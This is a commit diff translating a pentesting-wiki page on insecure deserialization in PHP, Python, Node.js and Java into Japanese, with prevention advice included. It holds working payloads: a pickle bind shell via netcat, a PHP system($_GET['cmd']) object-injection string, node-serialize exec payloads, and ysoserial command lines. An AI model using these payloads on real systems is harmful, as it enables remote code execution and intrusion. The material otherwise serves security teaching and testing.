Translated ['src/pentesting-web/deserialization/README.md'] to ja

This commit is contained in:
Translator 2025-08-10 14:37:10 +00:00
parent 58b2730032
commit 0fdbf1632c

View File

@ -4,11 +4,11 @@
## 基本情報
**シリアライズ**は、オブジェクトを保存可能な形式に変換する方法として理解されており、オブジェクトを保存するか、通信プロセスの一部として送信することを意図しています。この技術は、オブジェクトが後で再作成できるようにし、その構造と状態を維持するために一般的に使用されます。
**シリアライズ**は、オブジェクトを保存可能な形式に変換する方法として理解されており、オブジェクトを保存するか、通信プロセスの一部として送信する意図があります。この技術は、オブジェクトが後で再作成できるようにし、その構造と状態を維持するために一般的に使用されます。
**デシリアライズ**は、逆にシリアライズに対抗するプロセスです。特定の形式で構造化されたデータを取り、それをオブジェクトに再構築することを含みます。
デシリアライズは危険である可能性があります。なぜなら、**攻撃者がシリアライズされたデータを操作して有害なコードを実行させたり、オブジェクト再構築プロセス中にアプリケーションに予期しない動作を引き起こすことを許す可能性があるからです**
デシリアライズは危険である可能性があります。なぜなら、**攻撃者がシリアライズされたデータを操作して有害なコードを実行させたり、オブジェクト再構築プロセス中にアプリケーションに予期しない動作を引き起こすことを許す可能性があるからです**
## PHP
@ -16,9 +16,9 @@ PHPでは、シリアライズおよびデシリアライズプロセス中に
- `__sleep`: オブジェクトがシリアライズされるときに呼び出されます。このメソッドは、シリアライズされるべきオブジェクトのすべてのプロパティの名前の配列を返す必要があります。保留中のデータをコミットしたり、同様のクリーンアップタスクを実行するために一般的に使用されます。
- `__wakeup`: オブジェクトがデシリアライズされるときに呼び出されます。シリアライズ中に失われた可能性のあるデータベース接続を再確立し、他の再初期化タスクを実行するために使用されます。
- `__unserialize`: オブジェクトがデシリアライズされるときに、`__wakeup`の代わりに呼び出されるメソッドです。`__wakeup`に比べてデシリアライズプロセスに対する制御が強化されます。
- `__destruct`: オブジェクトが破棄される直前またはスクリプトが終了するときに呼び出されるメソッドです。ファイルハンドルやデータベース接続を閉じるなどのクリーンアップタスクに一般的に使用されます。
- `__toString`: このメソッドは、オブジェクトを文字列として扱うことを可能にします。ファイルを読み取るためや、その中の関数呼び出しに基づく他のタスクに使用でき、オブジェクトのテキスト表現を効果的に提供します。
- `__unserialize`: オブジェクトがデシリアライズされるときに、`__wakeup`の代わりに呼び出されるメソッドです。`__wakeup`に比べてデシリアライズプロセスに対するより多くの制御を提供します。
- `__destruct`: オブジェクトが破棄される直前またはスクリプトが終了するときに呼び出されるメソッドです。通常、ファイルハンドルやデータベース接続を閉じるなどのクリーンアップタスクに使用されます。
- `__toString`: このメソッドは、オブジェクトを文字列として扱うことを可能にします。ファイルを読み取るためや、その中の関数呼び出しに基づいて他のタスクを実行するために使用でき、オブジェクトのテキスト表現を効果的に提供します。
```php
<?php
class test {
@ -77,16 +77,16 @@ This is a test<br />
結果を見ると、オブジェクトがデシリアライズされるときに関数 **`__wakeup`** と **`__destruct`** が呼び出されることがわかります。いくつかのチュートリアルでは、属性を印刷しようとすると **`__toString`** 関数が呼び出されるとされていますが、どうやらそれは **もう起こっていない** ようです。
> [!WARNING]
> メソッド **`__unserialize(array $data)`** は、クラスに実装されている場合、**`__wakeup()`** の代わりに呼び出されます。これ、シリアライズされたデータを配列として提供することでオブジェクトをデシリアライズすることを可能にします。このメソッドを使用してプロパティをデシリアライズし、デシリアライズ時に必要なタスクを実行できます。
> メソッド **`__unserialize(array $data)`** は、クラスに実装されている場合、**`__wakeup()`** の代わりに呼び出されます。これにより、シリアライズされたデータを配列として提供することでオブジェクトをデシリアライズできます。このメソッドを使用してプロパティをデシリアライズし、デシリアライズ時に必要なタスクを実行できます。
>
> ```php
> class MyClass {
> private $property;
> private $property;
>
> public function __unserialize(array $data): void {
> $this->property = $data['property'];
> // デシリアライズ時に必要なタスクを実行します。
> }
> public function __unserialize(array $data): void {
> $this->property = $data['property'];
> // デシリアライズ時に必要なタスクを実行します。
> }
> }
> ```
@ -94,7 +94,7 @@ This is a test<br />
### PHP Deserial + Autoload Classes
PHPのオートロード機能を悪用して、任意のPHPファイルを読み込むことができます:
PHPのオートロード機能を悪用して、任意のPHPファイルを読み込むことができます
{{#ref}}
php-deserialization-+-autoload-classes.md
@ -115,15 +115,67 @@ $o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
```
### PHPGGC (ysoserial for PHP)
### `allowed_classes`を使用したPHPオブジェクトインジェクションの防止
[**PHPGGC**](https://github.com/ambionics/phpggc) は、PHP のデシリアライズを悪用するためのペイロードを生成するのに役立ちます。\
アプリケーションのソースコード内でデシリアライズを悪用する方法を見つけられない場合もありますが、**外部 PHP 拡張のコードを悪用できるかもしれません。**\
ですので、可能であればサーバーの `phpinfo()` を確認し、**インターネットで検索**(さらには **PHPGGC****gadgets** も)して、悪用できる可能性のあるガジェットを探してください。
> [!INFO]
> `unserialize()`の**第2引数**`$options`配列)のサポートは**PHP 7.0**で追加されました。古いバージョンでは、関数はシリアライズされた文字列のみを受け入れ、インスタンス化できるクラスを制限することは不可能です。
`unserialize()`は、特に指示がない限り、シリアライズされたストリーム内で見つかった**すべてのクラス**を**インスタンス化**します。PHP 7以降、この動作は[`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php)オプションで制限できます:
```php
// NEVER DO THIS full object instantiation
$object = unserialize($userControlledData);
// SAFER disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
```
もし**`allowed_classes`が省略されるか、コードがPHP < 7.0で実行される**場合攻撃者が`__wakeup()``__destruct()`などのマジックメソッドを悪用するペイロードを作成できるため呼び出しは**危険**になります
#### 実世界の例: Everest Forms (WordPress) CVE-2025-52709
WordPressプラグイン**Everest Forms ≤ 3.2.2**は、ヘルパーラッパーで防御的になろうとしましたが、レガシーPHPバージョンを忘れていました:
```php
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
```
**PHP ≤ 7.0** をまだ実行しているサーバーでは、この2番目の分岐が管理者が悪意のあるフォーム送信を開いたときに古典的な **PHP Object Injection** に至りました。最小限のエクスプロイトペイロードは次のようになります:
```
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
```
管理者がエントリを表示すると、オブジェクトがインスタンス化され、`SomeClass::__destruct()`が実行され、任意のコードが実行される結果となりました。
**重要なポイント**
1. `unserialize()`を呼び出す際は、常に`['allowed_classes' => false]`(または厳密なホワイトリスト)を渡してください。
2. 防御ラッパーを監査してください それらはしばしばレガシーPHPブランチを忘れがちです。
3. **PHP ≥ 7.x** へのアップグレードだけでは*不十分*です:オプションは明示的に指定する必要があります。
---
### PHPGGC (PHP用のysoserial)
[**PHPGGC**](https://github.com/ambionics/phpggc)は、PHPのデシリアライズを悪用するためのペイロードを生成するのに役立ちます。\
アプリケーションのソースコード内でデシリアライズを悪用する方法が見つからない場合もありますが、**外部PHP拡張のコードを悪用できる可能性があります。**\
したがって、可能であれば、サーバーの`phpinfo()`を確認し、**インターネットで検索**(さらには**PHPGGCのガジェット**も)して、悪用できる可能性のあるガジェットを探してください。
### phar:// メタデータデシリアライズ
ファイルを読み取るだけで、内部の PHP コードを実行しない LFI を見つけた場合、例えば _**file_get_contents(), fopen(), file() または file_exists(), md5_file(), filemtime() または filesize()**_** のような関数を使用している場合、**phar** プロトコルを使用して **ファイル****読み取る** ときに発生する **デシリアライズ** を悪用しようとすることができます。\
ファイルを読み取るだけでPHPコードを実行しないLFIを見つけた場合、例えば、_**file_get_contents()、fopen()、file()、file_exists()、md5_file()、filemtime()、filesize()**_**のような関数を使用している場合、**phar**プロトコルを使用して**ファイル**を**読み取る**際に発生する**デシリアライズ**を悪用しようとすることができます。\
詳細については、以下の投稿をお読みください:
{{#ref}}
@ -134,7 +186,7 @@ $ser=serialize($o);
### **Pickle**
オブジェクトがアンピクルされると、関数 \_\_\_reduce\_\_\_ が実行されます。\
オブジェクトがアンピクルされると、関数\_\_\_reduce\_\_\_が実行されます。\
悪用されると、サーバーはエラーを返す可能性があります。
```python
import pickle, os, base64
@ -143,9 +195,9 @@ def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
```
以下の手法を確認する前に、`print(base64.b64encode(pickle.dumps(P(),2)))`を使用して、Python3を実行している場合にPython2と互換性のあるオブジェクトを生成してください。
以下のバイパステクニックを確認する前に、`print(base64.b64encode(pickle.dumps(P(),2)))`を使用して、Python3を実行している場合にPython2と互換性のあるオブジェクトを生成してください。
**pickle jail**からの脱出に関する詳細情報は、以下を確認してください:
**pickle jails**からの脱出に関する詳細情報は、以下を確認してください:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@ -153,7 +205,7 @@ print(base64.b64encode(pickle.dumps(P())))
### Yaml **&** jsonpickle
以下のページでは、Pythonライブラリの**不安全なデシリアライズを悪用する手法**を紹介し、**Pickle, PyYAML, jsonpickle, ruamel.yaml**のRCEデシリアライズペイロードを生成するために使用できるツールで締めくくります
以下のページでは、**yamlの安全でないデシリアライズを悪用する技術**を紹介し、**Pickle, PyYAML, jsonpickle, ruamel.yaml**のためのRCEデシリアライズペイロードを生成するために使用できるツールで締めくくります
{{#ref}}
python-yaml-deserialization.md
@ -172,7 +224,7 @@ python-yaml-deserialization.md
JSは、オブジェクトを作成するためだけに実行される**"マジック"関数**を持っていませんが、**`toString`**、**`valueOf`**、**`toJSON`**のように、**直接呼び出さなくても頻繁に使用される関数**があります。\
デシリアライズを悪用する場合、これらの関数を**妥協して他のコードを実行**させることができれば、呼び出されたときに任意のコードを実行できます。
関数を直接呼び出さずに呼び出す**別の"マジック"な方法**は、**非同期関数**(プロミス)によって返されるオブジェクトを**妥協する**ことです。なぜなら、その**返されるオブジェクト**を**"then"という関数型のプロパティ**を持つ別の**プロミス**に**変換**すると、別のプロミスによって返されるために**実行される**からです。_詳細については_ [_**このリンク**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _を参照してください。_
関数を直接呼び出さずに**"マジック"な方法**で呼び出すもう一つの方法は、**非同期関数**(プロミス)によって返されるオブジェクトを**妥協する**ことです。なぜなら、その**返されるオブジェクト**を**"then"という関数型のプロパティ**を持つ別の**プロミス**に**変換**すると、別のプロミスによって返されるだけで**実行される**からです。_詳細については_ [_**このリンク**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _を参照してください。_
```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
@ -231,11 +283,11 @@ console.log("Serialized: \n" + payload_serialized)
![](<../../images/image (446).png>)
最後のコードのチャンクで見られるように、**フラグが見つかった場合**、`eval` が関数をデシリアライズするために使用されるので、基本的に **ユーザー入力が `eval` 関数内で使用されている**ことになります。
最後のコードのチャンクでわかるように、**フラグが見つかった場合**、`eval` が使用されて関数がデシリアライズされるため、基本的に **ユーザー入力が `eval` 関数内で使用されている**ことになります。
しかし、**関数をシリアライズするだけでは**それを**実行することはありません**。なぜなら、コードの一部が**`y.rce`を呼び出す必要がある**からで、これは非常に**ありそうにありません**。\
それでも、**シリアライズされたオブジェクトを修正して**、**いくつかの括弧を追加する**ことで、オブジェクトがデシリアライズされときにシリアライズされた関数を自動的に実行させることができます。\
次のコードのチャンクで、**最後の括弧**と`unserialize` 関数がどのように自動的にコードを実行するかに注意してください:
しかし、**関数をシリアライズするだけでは**それを**実行することはありません**。私たちの例では、コードの一部が **`y.rce` を呼び出す必要があり**、それは非常に **ありそうにありません**。\
それでも、**シリアライズされたオブジェクトを修正して**、**いくつかの括弧を追加する**ことで、オブジェクトがデシリアライズされときにシリアライズされた関数を自動的に実行させることができます。\
次のコードのチャンクで、**最後の括弧**と `unserialize` 関数がどのように自動的にコードを実行するかに注意してください:
```javascript
var serialize = require("node-serialize")
var test = {
@ -243,7 +295,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
}
serialize.unserialize(test)
```
以前に示したように、このライブラリは`_$$ND_FUNC$$_`の後のコードを取得し、**実行します**。したがって、**コードを自動実行する**ためには、**関数作成**部分と最後の括弧を**削除し**、次の例のように**JSのワンライナーを実行する**ことができます:
以前に示したように、このライブラリは`_$$ND_FUNC$$_`の後のコードを取得し、`eval`を使用して**実行します**。したがって、**コードを自動実行する**ためには、関数作成部分と最後の括弧を**削除し**、次の例のように**JSのワンライナーを実行する**ことができます:
```javascript
var serialize = require("node-serialize")
var test =
@ -278,7 +330,7 @@ __js_function:
}
funcster.deepDeserialize(desertest3)
```
**詳細については、[このソースを読む](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**。
**詳細については、[このソースを読む](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**。
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
@ -288,7 +340,7 @@ function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
```
この関数がオブジェクトをデシリアライズするために使用される場合、あなたは**簡単にそれを悪用できます**
この関数がオブジェクトをデシリアライズするために使用される場合、あなたは**簡単にそれを悪用できます**:
```javascript
var serialize = require("serialize-javascript")
//Serialization
@ -302,7 +354,7 @@ var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
```
**詳細についてはこのソースを読んでください**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
**詳細についてはこのソースを参照してください**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### Cryoライブラリ
@ -313,16 +365,16 @@ deserialize(test)
## Java - HTTP
Javaでは、**デシリアライズコールバックはデシリアライズプロセス中に実行されます**。この実行は、これらのコールバックをトリガーする悪意のあるペイロードを作成する攻撃者によって悪用される可能性があり、有害なアクションの実行につながることがあります。
Javaでは、**デシリアライズコールバックはデシリアライズプロセス中に実行されます**。この実行は、これらのコールバックをトリガーする悪意のあるペイロードを作成する攻撃者によって悪用され、潜在的に有害なアクションの実行につながる可能性があります。
### フィンガープリント
#### ホワイトボックス
コードベース内の潜在的なシリアライズ脆弱性を特定するには、次のものを検索してください
コードベース内の潜在的なシリアライズ脆弱性を特定するには、次のものを検索します
- `Serializable`インターフェースを実装しているクラス。
- `java.io.ObjectInputStream``readObject``readUnshare`関数の使用。
- `java.io.ObjectInputStream``readObject``readUnshared`関数の使用。
特に注意を払うべき点:
@ -335,7 +387,7 @@ Javaでは、**デシリアライズコールバックはデシリアライズ
#### ブラックボックス
ブラックボックステストでは、Javaシリアライズオブジェクトを示す特定の**シグネチャまたは「マジックバイト」**を探してください`ObjectInputStream`から発生):
ブラックボックステストでは、javaシリアライズオブジェクトを示す特定の**シグネチャまたは「マジックバイト」**を探します`ObjectInputStream`から発生):
- 16進パターン`AC ED 00 05`
- Base64パターン`rO0`
@ -357,34 +409,34 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
```
あなたは、**Ysoserial**がエクスプロイトを提供できる脆弱性のあるすべてのライブラリを**チェックする**ことができます。または、[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)に示されているライブラリを確認することもできます。\
また、[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)を使用して、エクスプロイト可能な可能性のあるガジェットチェーンを検索することもできます。\
あなたは、**脆弱性が知られているすべてのライブラリ**を確認し、[**Ysoserial**](https://github.com/frohoff/ysoserial)が提供できるエクスプロイトを探すことができます。また、[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)に示されているライブラリを確認することもできます。\
さらに、[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)を使用して、悪用可能なガジェットチェーンを検索することもできます。\
**gadgetinspector**を実行する際(ビルド後)は、発生する多数の警告/エラーを気にせず、完了するまで待ってください。すべての結果は_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_に書き込まれます。**gadgetinspectorはエクスプロイトを作成せず、偽陽性を示す可能性があることに注意してください**。
#### ブラックボックステスト
Burp拡張機能[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)を使用すると、**どのライブラリが利用可能か**(バージョンも含む)を特定できます。この情報をもとに、脆弱性をエクスプロイトするための**ペイロードを選択しやすく**なります。\
Burp拡張機能[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)を使用すると、**どのライブラリが利用可能か**(バージョンも含む)を特定できます。この情報をもとに、脆弱性を悪用するための**ペイロードを選択しやすくなる**でしょう。\
[**GadgetProbeについて詳しく学ぶにはこちらをお読みください**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**。**\
GadgetProbeは**`ObjectInputStream`のデシリアライズ**に焦点を当てています。
Burp拡張機能[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)を使用すると、**ysoserialでエクスプロイト可能な脆弱なライブラリを特定**し、それらを**エクスプロイト**できます。\
Burp拡張機能[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)を使用すると、**ysoserialで悪用可能な脆弱なライブラリを特定し、**それらを**悪用**できます。\
[**Java Deserialization Scannerについて詳しく学ぶにはこちらをお読みください。**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scannerは**`ObjectInputStream`**のデシリアライズに焦点を当てています。
[**Freddy**](https://github.com/nccgroup/freddy)を使用して、**Burp**内のデシリアライズの脆弱性を**検出**することもできます。このプラグインは、**`ObjectInputStream`**に関連する脆弱性だけでなく、**Json**および**Yml**デシリアライズライブラリの脆弱性も検出します。アクティブモードでは、スリープまたはDNSペイロードを使用して確認を試みます。\
[**Freddy**](https://github.com/nccgroup/freddy)を使用して、**Burp**内のデシリアライズの脆弱性を**検出**することもできます。このプラグインは、**`ObjectInputStream`**関連の脆弱性だけでなく、**Json**および**Yml**デシリアライズライブラリの脆弱性も検出します。アクティブモードでは、スリープまたはDNSペイロードを使用して確認を試みます。\
[**Freddyについての詳細情報はこちらで確認できます。**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**シリアライズテスト**
サーバーによって使用されている脆弱なライブラリを確認するだけではありません。時には、**シリアライズされたオブジェクト内のデータを変更していくつかのチェックをバイパスする**ことができるかもしれません(ウェブアプリ内で管理者権限を付与するかもしれません)。\
ウェブアプリケーションに送信されるJavaシリアライズオブジェクトを見つけた場合、**[SerializationDumper](https://github.com/NickstaDB/SerializationDumper)**を使用して、送信されるシリアライズオブジェクトをより人間が読みやすい形式で印刷することができます。送信しているデータを知ることで、それを変更していくつかのチェックをバイパスするのが容易になります。
サーバーが使用している脆弱なライブラリを確認するだけではありません。時には、**シリアライズされたオブジェクト内のデータを変更していくつかのチェックをバイパスする**ことができるかもしれません(ウェブアプリ内で管理者権限を付与するかもしれません)。\
ウェブアプリケーションに送信されるJavaシリアライズオブジェクトを見つけた場合、**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)**を使用して、送信されるシリアライズオブジェクトをより人間が読みやすい形式で印刷できます。送信しているデータを知ることで、変更していくつかのチェックをバイパスするのが容易になります。
### **エクスプロイト**
#### **ysoserial**
Javaデシリアライズをエクスプロイトするための主なツールは[**ysoserial**](https://github.com/frohoff/ysoserial)です([**こちらからダウンロード**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。また、複雑なコマンド(例えばパイプを使用)を使用できる[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)の使用も検討できます。\
このツールは**`ObjectInputStream`**のエクスプロイトに**焦点を当てている**ことに注意してください。\
Javaデシリアライズを悪用するための主なツールは[**ysoserial**](https://github.com/frohoff/ysoserial)です([**こちらからダウンロード**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。また、複雑なコマンド(例えばパイプを使用)を使用できる[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)の使用も検討できます。\
このツールは**`ObjectInputStream`**の悪用に**焦点を当てている**ことに注意してください。\
私は**RCEペイロードの前に「URLDNS」**ペイロードを使用して、注入が可能かどうかをテストすることを**お勧めします**。いずれにせよ、「URLDNS」ペイロードが機能しない場合でも、他のRCEペイロードが機能する可能性があることに注意してください。
```bash
# PoC to make the application perform a DNS req
@ -430,7 +482,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
# Base64 encode payload in base64
base64 -w0 payload
```
**java.lang.Runtime.exec()** のペイロードを作成する際、実行の出力をリダイレクトするために ">" や "|" のような **特殊文字** を使用することはできません。また、コマンドを実行するために "$()" を使用したり、**スペース** で区切られた **引数** をコマンドに渡すこともできません(`echo -n "hello world"` は可能ですが、`python2 -c 'print "Hello world"'` はできません)。ペイロードを正しくエンコードするために、[このウェブページ](http://www.jackson-t.ca/runtime-exec-payloads.html) を使用することができます。
**java.lang.Runtime.exec()** のペイロードを作成する際、実行の出力をリダイレクトするために ">" や "|" のような **特殊文字** を使用することはできません。また、コマンドを実行するために "$()" を使用したり、**スペース** で区切られた **引数** をコマンドに渡すこともできません(`echo -n "hello world"` は可能ですが、`python2 -c 'print "Hello world"'` はできません)。ペイロードを正しくエンコードするために、[このウェブページ](http://www.jackson-t.ca/runtime-exec-payloads.html) を使用することができます。
次のスクリプトを使用して、Windows と Linux の **すべての可能なコード実行** ペイロードを作成し、脆弱なウェブページでテストしてください:
```python
@ -455,12 +507,12 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
```
#### serialkillerbypassgadgets
You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **along with ysoserial to create more exploits**. More information about this tool in the **slides of the talk** where the tool was presented: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
あなたは**https://github.com/pwntester/SerialKillerBypassGadgetCollection**を**ysoserialと一緒に使用して、より多くのエクスプロイトを作成することができます**。このツールに関する詳細は、ツールが発表された**トークのスライド**にあります: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
#### marshalsec
[**marshalsec** ](https://github.com/mbechler/marshalsec)は、Javaのさまざまな**Json**および**Yml**シリアル化ライブラリを悪用するためのペイロードを生成するために使用できます。\
プロジェクトをコンパイルするために、`pom.xml`にこの**依存関係**を**追加**する必要がありました:
[**marshalsec** ](https://github.com/mbechler/marshalsec)は、Javaの異なる**Json**および**Yml**シリアライズライブラリを悪用するためのペイロードを生成するために使用できます。\
プロジェクトをコンパイルするために、私は`pom.xml`にこの**依存関係**を**追加する必要がありました**:
```html
<dependency>
<groupId>javax.activation</groupId>
@ -486,7 +538,7 @@ mvn clean package -DskipTests
### Labs
- いくつかのysoserialペイロードをテストしたい場合は、**このウェブアプリを実行できます**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
- いくつかのysoserialペイロードをテストしたい場合は、**このウェブアプリを実行**できます: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
### Why
@ -495,9 +547,9 @@ Javaはさまざまな目的で多くのシリアル化を使用します:
- **HTTPリクエスト**: シリアル化は、パラメータ、ViewState、クッキーなどの管理に広く使用されています。
- **RMI (Remote Method Invocation)**: Java RMIプロトコルは、シリアル化に完全に依存しており、Javaアプリケーションにおけるリモート通信の基盤です。
- **RMI over HTTP**: この方法は、Javaベースの厚いクライアントウェブアプリケーションによ使用され、すべてのオブジェクト通信にシリアル化を利用します。
- **RMI over HTTP**: この方法は、Javaベースの厚いクライアントウェブアプリケーションによって一般的に使用され、すべてのオブジェクト通信にシリアル化を利用します。
- **JMX (Java Management Extensions)**: JMXは、ネットワーク上でオブジェクトを送信するためにシリアル化を利用します。
- **カスタムプロトコル**: Javaでは、標準的な慣行として生のJavaオブジェクトの送信が含まれ、今後のエクスプロイト例で示されます。
- **カスタムプロトコル**: Javaでは、標準的な慣行として生のJavaオブジェクトの送信が含まれ、今後のエクスプロイト例で示されます。
### Prevention
@ -512,7 +564,7 @@ private transient double margin; // declared transient
```
#### Serializableを実装する必要があるクラスのシリアライズを避ける
特定の**オブジェクトがクラス階層のために`Serializable`**インターフェースを実装しなければならないシナリオでは、意図しないデシリアライズのリスクがあります。これを防ぐために、以下のように常に例外をスローする`final``readObject()`メソッドを定義することで、これらのオブジェクトがデシリアライズ不可能であることを確認してください。
特定の**オブジェクトがクラス階層のために`Serializable`**インターフェースを実装しなければならないシナリオでは、意図しないデシリアライズのリスクがあります。これを防ぐために、以下のように常に例外をスローする`final``readObject()`メソッドを定義して、これらのオブジェクトがデシリアライズ不可能であることを確認してください。
```java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
@ -520,7 +572,7 @@ throw new java.io.IOException("Cannot be deserialized");
```
#### **Javaにおけるデシリアライズセキュリティの強化**
**`java.io.ObjectInputStream`のカスタマイズ**は、デシリアライズプロセスを保護するための実用的なアプローチです。この方法は次の場合に適しています:
**`java.io.ObjectInputStream`のカスタマイズ**は、デシリアライズプロセスを保護するための実用的なアプローチです。この方法は次の場合に適しています:
- デシリアライズコードがあなたの管理下にある。
- デシリアライズのために期待されるクラスが知られている。
@ -546,7 +598,7 @@ return super.resolveClass(desc);
}
}
```
**セキュリティ強化のためのJavaエージェントの使用**は、コードの修正が不可能な場合のフォールバックソリューションを提供します。この方法は主に**有害なクラスのブラックリスト化**に適用され、JVMパラメータを使用します
**セキュリティ強化のためのJavaエージェントの使用**は、コードの修正が不可能な場合の代替ソリューションを提供します。この方法は主に**有害なクラスのブラックリスト化**に適用され、JVMパラメータを使用します
```
-javaagent:name-of-agent.jar
```
@ -556,7 +608,7 @@ return super.resolveClass(desc);
**シリアライゼーションフィルターの実装**: Java 9では、**`ObjectInputFilter`**インターフェースを介してシリアライゼーションフィルターが導入され、デシリアライズされる前にシリアライズされたオブジェクトが満たすべき基準を指定するための強力なメカニズムを提供します。これらのフィルターは、グローバルにまたはストリームごとに適用でき、デシリアライズプロセスに対する詳細な制御を提供します。
シリアライゼーションフィルターを利用するには、すべてのデシリアライズ操作に適用されるグローバルフィルターを設定するか、特定のストリームのために動的に構成することができます。例えば:
シリアライゼーションフィルターを利用するには、すべてのデシリアライズ操作に適用されるグローバルフィルターを設定するか、特定のストリームに対して動的に構成することができます。例えば:
```java
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
@ -568,10 +620,10 @@ return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
```
**外部ライブラリを活用したセキュリティの強化**: **NotSoSerial**、**jdeserialize**、および**Kryo**などのライブラリは、Javaのデシリアライズを制御および監視するための高度な機能を提供します。これらのライブラリは、クラスのホワイトリストやブラックリストの作成、デシリアライズ前のシリアライズされたオブジェクトの分析、カスタムシリアライズ戦略の実装など、追加のセキュリティ層を提供できます。
**外部ライブラリを活用したセキュリティの強化**: **NotSoSerial**、**jdeserialize**、および**Kryo**などのライブラリは、Javaのデシリアライズを制御および監視するための高度な機能を提供します。これらのライブラリは、デシリアライズ前にシリアライズされたオブジェクトを分析したり、クラスのホワイトリストやブラックリストを作成したり、カスタムシリアライズ戦略を実装したりするなど、追加のセキュリティ層を提供できます。
- **NotSoSerial**は、信頼できないコードの実行を防ぐためにデシリアライズプロセスをインターセプトします。
- **jdeserialize**は、シリアライズされたJavaオブジェクトをデシリアライズせずに分析することを可能にし、潜在的に悪意のあるコンテンツを特定するのに役立ちます。
- **NotSoSerial**は、信頼できないコードの実行を防ぐためにデシリアライズプロセスを傍受します。
- **jdeserialize**は、デシリアライズせずにシリアライズされたJavaオブジェクトを分析できるため、潜在的に悪意のあるコンテンツを特定するのに役立ちます。
- **Kryo**は、スピードと効率を重視した代替シリアライゼーションフレームワークで、セキュリティを強化できる構成可能なシリアライゼーション戦略を提供します。
### 参考文献
@ -580,17 +632,17 @@ ObjectInputFilter.Config.setSerialFilter(filter);
- デシリアライズとysoserialのトーク: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
